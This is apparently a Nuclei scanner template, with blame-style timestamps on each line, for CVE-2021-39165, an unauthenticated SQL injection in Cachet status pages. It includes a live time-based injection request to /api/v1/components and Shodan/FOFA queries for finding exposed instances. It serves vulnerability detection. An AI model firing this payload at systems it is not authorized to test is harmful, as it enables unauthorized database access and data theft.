2022-10-06 20:20:48 +00:00
id : CVE-2021-39165
info :
2023-05-26 05:27:49 +00:00
name : Cachet <=2.3.18 - SQL Injection
2022-10-06 20:20:48 +00:00
author : tess
2023-07-11 19:49:27 +00:00
severity : medium
2022-10-06 20:20:48 +00:00
description : |
Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor.
2022-10-06 20:20:48 +00:00
reference :
- https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
- https://github.com/fiveai/Cachet/commit/27bca8280419966ba80c6fa283d985ddffa84bb6
2023-05-26 04:58:17 +00:00
- https://github.com/W0rty/CVE-2021-39165/blob/main/exploit.py
2023-05-26 05:27:49 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39165
2023-07-11 19:49:27 +00:00
- https://github.com/fiveai/Cachet/security/advisories/GHSA-79mg-4w23-4fqc
2022-10-06 20:20:48 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score : 6.5
2023-05-26 05:27:49 +00:00
cve-id : CVE-2021-39165
2023-07-11 19:49:27 +00:00
cwe-id : CWE-287
2024-05-31 19:23:20 +00:00
epss-score : 0.04209
epss-percentile : 0.92226
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:chachethq:cachet:*:*:*:*:*:*:*:*
2022-10-06 20:20:48 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : chachethq
product : cachet
2023-09-06 12:09:01 +00:00
shodan-query : http.favicon.hash:-1606065523
2024-05-31 19:23:20 +00:00
fofa-query : icon_hash=-1606065523
2024-10-15 10:27:37 +00:00
tags : time-based-sqli,cve,cve2021,cachet,sqli,chachethq
2022-10-06 20:20:48 +00:00
2023-05-26 04:58:17 +00:00
http :
2024-06-23 05:19:54 +00:00
- raw :
- |
@timeout : 20s
GET /api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1
Host : {{Hostname}}
2022-10-06 20:20:48 +00:00
redirects : true
max-redirects : 2
matchers :
2023-05-26 04:58:17 +00:00
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
2023-05-26 05:06:15 +00:00
- 'contains(content_type, "application/json")'
2023-05-26 05:27:49 +00:00
- 'contains(body, "pagination") && contains(body, "data")'
2022-10-06 20:20:48 +00:00
condition : and
2024-10-18 13:05:19 +00:00
# digest: 490a00463044022034663351e65790c6811b5d318fe212fedff9d5eac2aeb9c01e05122b56f7f0a302204e86e7e7ff57fe1b1e17e7e1e84b05165b4878951b171a7d025162d75e4dca52:922c64590222798bb761d5b6d8e72950